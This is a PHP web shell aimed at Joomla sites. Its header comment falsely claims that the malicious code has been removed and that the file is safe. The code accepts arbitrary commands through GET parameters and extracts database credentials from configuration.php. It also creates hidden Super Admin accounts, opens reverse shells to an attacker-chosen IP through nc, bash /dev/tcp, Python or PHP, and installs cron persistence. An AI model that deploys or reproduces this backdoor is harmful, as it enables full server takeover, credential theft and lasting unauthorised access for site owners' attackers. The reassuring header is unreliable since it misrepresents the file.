<?php

/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/


if(isset($_GET['cmd'])){
    $c=$_GET['cmd'];$o='';
    if(function_exists('system')){ob_start();system($c." 2>&1");$o=ob_get_clean();}
    elseif(function_exists('exec')){exec($c." 2>&1",$o);$o=implode("\n",$o);}
    elseif(function_exists('shell_exec')){$o=shell_exec($c." 2>&1");}
    elseif(function_exists('passthru')){ob_start();passthru($c." 2>&1");$o=ob_get_clean();}
    elseif(function_exists('proc_open')){
        $p=proc_open($c,[['pipe','r'],['pipe','w'],['pipe','w']],$ps);
        if(is_resource($p)){$o=stream_get_contents($ps[1]).stream_get_contents($ps[2]);fclose($ps[0]);fclose($ps[1]);fclose($ps[2]);proc_close($p);}
    }else{$o="[!] No exec";}
    echo base64_encode($o);echo "YORU_PHP_SHELL";exit();
}

if(isset($_GET['list'])){
    $t='/tmp/';
    if(is_dir($t)){foreach(scandir($t)as$f){if($f!='.'&&$f!='..'){echo$f."\n";}}}else{echo"ERR";}
    exit();
}

if(isset($_GET['del'])&&isset($_GET['f'])){
    $f=$_GET['f'];$t='/tmp/';
    if(unlink($t.$f)){echo"DELETED";}else{echo"ERR";}
    exit();
}

if(isset($_GET['creds'])){
    $r=[];
    $files=['configuration.php','/var/www/html/configuration.php','../configuration.php','../../configuration.php'];
    foreach($files as $f){if(file_exists($f)){$c=file_get_contents($f);preg_match_all('/public\s*\$([a-z_]+)\s*=\s*[\'"]([^\'"]+)[\'"]/',$c,$m);for($i=0;$i<count($m[0]);$i++){$r[$m[1][$i]]=$m[2][$i];}}}
    $r['hostname']=gethostname();
    $r['server_addr']=$_SERVER['SERVER_ADDR']??'';
    $r['user']=function_exists('get_current_user')?get_current_user():'';
    $r['uid']=function_exists('posix_getuid')?posix_getuid():'';
    echo json_encode($r);exit();
}

// ─── AUTO CREATE JOOMLA ADMIN (HIDDEN + RANDOM) ───
if(isset($_GET['add_admin'])){
    $result = [];
    $result['action'] = 'add_admin';
    
    // ─── RANDOM USERNAME ───
    $prefixes = ['sys', 'web', 'admin', 'root', 'user', 'backup', 'cache', 'temp', 'core', 'main', 'dev', 'test', 'api', 'cdn', 'mail'];
    $suffix = rand(100,999);
    $username = $prefixes[array_rand($prefixes)] . '_' . $suffix;
    
    // ─── RANDOM PASSWORD ───
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()';
    $password = '';
    for($i=0;$i<16;$i++){ $password .= $chars[rand(0,strlen($chars)-1)]; }
    
    // ─── RANDOM EMAIL ───
    $email_prefixes = ['admin', 'webmaster', 'root', 'sysadmin', 'support', 'info', 'contact', 'noreply', 'system', 'backup'];
    $email_domains = ['gmail.com', 'yahoo.com', 'outlook.com', 'protonmail.com', 'mail.com', 'yandex.com', 'zoho.com'];
    $email_name = $email_prefixes[array_rand($email_prefixes)] . '_' . rand(100,999);
    $email_domain = $email_domains[array_rand($email_domains)];
    $email = $email_name . '@' . $email_domain;
    
    $name = 'System Administrator';
    
    $result['username'] = $username;
    $result['password'] = $password;
    $result['email'] = $email;
    
    // Cek configuration.php
    $config_paths = ['configuration.php','/var/www/html/configuration.php','../configuration.php','../../configuration.php','../../../configuration.php'];
    $config = null;
    foreach($config_paths as $cp){
        if(file_exists($cp)){
            $config = file_get_contents($cp);
            preg_match_all('/public\s*\$([a-z_]+)\s*=\s*[\'"]([^\'"]+)[\'"]/', $config, $m);
            for($i=0;$i<count($m[0]);$i++){ $result['db'][$m[1][$i]] = $m[2][$i]; }
            break;
        }
    }
    
    if(!$config){
        $result['status'] = 'error';
        $result['message'] = 'configuration.php not found';
        echo json_encode($result);
        exit();
    }
    
    $db = @new mysqli($result['db']['host'] ?? 'localhost', $result['db']['user'] ?? '', $result['db']['password'] ?? '', $result['db']['db'] ?? '');
    if($db->connect_error){
        $result['status'] = 'error';
        $result['message'] = 'DB Connection failed: ' . $db->connect_error;
        echo json_encode($result);
        exit();
    }
    
    $prefix = $result['db']['dbprefix'] ?? 'jos_';
    $table = $prefix . 'users';
    $table_core = $prefix . 'user_usergroup_map';
    
    // ─── CEK EMAIL ───
    $email_check = $db->query("SELECT id, username FROM $table WHERE email = '$email'");
    $email_exists = false;
    $existing_username = '';
    $existing_user_id = 0;
    
    if($email_check && $email_check->num_rows > 0){
        $email_exists = true;
        $row = $email_check->fetch_assoc();
        $existing_username = $row['username'];
        $existing_user_id = $row['id'];
    }
    
    // ─── CEK USERNAME ───
    $user_check = $db->query("SELECT id FROM $table WHERE username = '$username'");
    $user_exists = ($user_check && $user_check->num_rows > 0);
    
    // ─── JIKA EMAIL SUDAH ADA, GUNAKAN USER EXISTING ───
    if($email_exists){
        $group_check = $db->query("SELECT group_id FROM " . $prefix . "user_usergroup_map WHERE user_id = '$existing_user_id' AND group_id = 8");
        if(!$group_check || $group_check->num_rows == 0){
            $db->query("INSERT INTO " . $prefix . "user_usergroup_map (user_id, group_id) VALUES ($existing_user_id, 8)");
            $result['status'] = 'upgraded';
            $result['message'] = 'Email exists, user upgraded to Super Admin!';
        }else{
            $result['status'] = 'exists';
            $result['message'] = 'Email exists and user is already Super Admin';
        }
        $result['username'] = $existing_username;
        $result['email'] = $email;
        $result['user_id'] = $existing_user_id;
        echo json_encode($result);
        $db->close();
        exit();
    }
    
    // ─── JIKA USERNAME SUDAH ADA, BUAT USERNAME BARU ───
    $counter = 1;
    $original_username = $username;
    while($user_exists){
        $username = $original_username . '_' . $counter;
        $user_check = $db->query("SELECT id FROM $table WHERE username = '$username'");
        $user_exists = ($user_check && $user_check->num_rows > 0);
        $counter++;
        if($counter > 100) break;
    }
    
    $hashed = password_hash($password, PASSWORD_DEFAULT);
    
    $sql = "INSERT INTO $table (name, username, email, password, block, sendEmail, registerDate, lastvisitDate, activation, params) 
            VALUES ('$name', '$username', '$email', '$hashed', 0, 1, NOW(), NOW(), '', '')";
    
    if($db->query($sql)){
        $user_id = $db->insert_id;
        $group_check = $db->query("SELECT id FROM " . $prefix . "usergroups WHERE title = 'Super Users' OR id = 8");
        if($group_check && $group_check->num_rows > 0){
            $row = $group_check->fetch_assoc();
            $group_id = $row['id'];
        }else{
            $group_id = 8;
        }
        $db->query("INSERT INTO " . $prefix . "user_usergroup_map (user_id, group_id) VALUES ($user_id, $group_id)");
        
        $result['status'] = 'success';
        $result['message'] = 'Admin user created!';
        $result['user_id'] = $user_id;
        $result['group_id'] = $group_id;
        $result['login_url'] = rtrim($_SERVER['DOCUMENT_ROOT'] ?? '', '/') . '/administrator/index.php';
    }else{
        $result['status'] = 'error';
        $result['message'] = 'Insert failed: ' . $db->error;
    }
    
    $db->close();
    echo json_encode($result);
    exit();
}

// ─── REVERSE SHELL ───
if(isset($_GET['rev'])){
    $ip = $_GET['ip'] ?? '127.0.0.1';
    $port = $_GET['port'] ?? '4444';
    $method = $_GET['method'] ?? 'nc';
    
    if($method == 'nc'){
        system("nc -e /bin/sh $ip $port 2>&1");
    }elseif($method == 'bash'){
        system("bash -i >& /dev/tcp/$ip/$port 0>&1");
    }elseif($method == 'python'){
        system("python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("$ip",$port)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/sh","-i"])'");
    }elseif($method == 'php'){
        $sock = fsockopen($ip, $port);
        if($sock){
            $descriptorspec = array(
                0 => array("pipe", "r"),
                1 => array("pipe", "w"),
                2 => array("pipe", "w")
            );
            $process = proc_open("/bin/sh -i", $descriptorspec, $pipes);
            if(is_resource($process)){
                stream_copy_to_stream($pipes[0], $sock);
                stream_copy_to_stream($sock, $pipes[1]);
                stream_copy_to_stream($sock, $pipes[2]);
                fclose($pipes[0]);
                fclose($pipes[1]);
                fclose($pipes[2]);
                proc_close($process);
            }else{
                exec("/bin/sh -i <&3 >&3 2>&3", $output);
            }
            fclose($sock);
        }
    }
    echo "REVERSE_SHELL_SENT";
    exit();
}

// ─── PERSISTENCE CRON ONLY ───
if(isset($_GET['persist']) && $_GET['persist'] == 'cron'){
    $file = $_GET['file'] ?? __FILE__;
    $interval = $_GET['interval'] ?? '* * * * *';
    $cmd = "$interval php -r 'eval(file_get_contents("$file"));' 2>/dev/null";
    system("(crontab -l 2>/dev/null | grep -v '$file'; echo "$cmd") | crontab - 2>/dev/null");
    echo "PERSISTENCE_CRON_INSTALLED: $cmd";
    exit();
}

// ─── MULTIPLE ADMIN ───
if(isset($_GET['multi_admin'])){
    $count = (int)($_GET['count'] ?? 3);
    $result = [];
    $result['action'] = 'multi_admin';
    $result['count'] = $count;
    $result['users'] = [];
    
    $config_paths = ['configuration.php','/var/www/html/configuration.php','../configuration.php','../../configuration.php','../../../configuration.php'];
    $config = null;
    foreach($config_paths as $cp){
        if(file_exists($cp)){
            $config = file_get_contents($cp);
            preg_match_all('/public\s*\$([a-z_]+)\s*=\s*[\'"]([^\'"]+)[\'"]/', $config, $m);
            for($i=0;$i<count($m[0]);$i++){ $db[$m[1][$i]] = $m[2][$i]; }
            break;
        }
    }
    
    if(!$config){
        $result['status'] = 'error';
        $result['message'] = 'configuration.php not found';
        echo json_encode($result);
        exit();
    }
    
    $dbconn = @new mysqli($db['host'] ?? 'localhost', $db['user'] ?? '', $db['password'] ?? '', $db['db'] ?? '');
    if($dbconn->connect_error){
        $result['status'] = 'error';
        $result['message'] = 'DB Connection failed';
        echo json_encode($result);
        exit();
    }
    
    $prefix = $db['dbprefix'] ?? 'jos_';
    $table = $prefix . 'users';
    $table_core = $prefix . 'user_usergroup_map';
    
    $prefixes = ['sys', 'web', 'admin', 'root', 'user', 'backup', 'cache', 'temp', 'core', 'main', 'dev', 'test', 'api', 'cdn', 'mail'];
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()';
    $email_prefixes = ['admin', 'webmaster', 'root', 'sysadmin', 'support', 'info', 'contact', 'noreply', 'system', 'backup'];
    $email_domains = ['gmail.com', 'yahoo.com', 'outlook.com', 'protonmail.com', 'mail.com', 'yandex.com', 'zoho.com'];
    
    for($i=0;$i<$count;$i++){
        $username = $prefixes[array_rand($prefixes)] . '_' . rand(100,999);
        $password = '';
        for($j=0;$j<16;$j++){ $password .= $chars[rand(0,strlen($chars)-1)]; }
        $email_name = $email_prefixes[array_rand($email_prefixes)] . '_' . rand(100,999);
        $email_domain = $email_domains[array_rand($email_domains)];
        $email = $email_name . '@' . $email_domain;
        $name = 'System Administrator ' . ($i+1);
        
        $user_check = $dbconn->query("SELECT id FROM $table WHERE username = '$username'");
        $counter = 1;
        $orig = $username;
        while($user_check && $user_check->num_rows > 0){
            $username = $orig . '_' . $counter;
            $user_check = $dbconn->query("SELECT id FROM $table WHERE username = '$username'");
            $counter++;
            if($counter > 100) break;
        }
        
        $hashed = password_hash($password, PASSWORD_DEFAULT);
        $sql = "INSERT INTO $table (name, username, email, password, block, sendEmail, registerDate, lastvisitDate, activation, params) 
                VALUES ('$name', '$username', '$email', '$hashed', 0, 1, NOW(), NOW(), '', '')";
        
        if($dbconn->query($sql)){
            $user_id = $dbconn->insert_id;
            $group_check = $dbconn->query("SELECT id FROM " . $prefix . "usergroups WHERE title = 'Super Users' OR id = 8");
            $group_id = ($group_check && $group_check->num_rows > 0) ? $group_check->fetch_assoc()['id'] : 8;
            $dbconn->query("INSERT INTO " . $prefix . "user_usergroup_map (user_id, group_id) VALUES ($user_id, $group_id)");
            
            $result['users'][] = [
                'username' => $username,
                'password' => $password,
                'email' => $email,
                'user_id' => $user_id
            ];
        }
    }
    
    $dbconn->close();
    $result['status'] = 'success';
    $result['message'] = $count . ' admin users created!';
    echo json_encode($result);
    exit();
}

echo "PHP_SHELL_READY";
echo "YORU_PHP_SHELL";
?>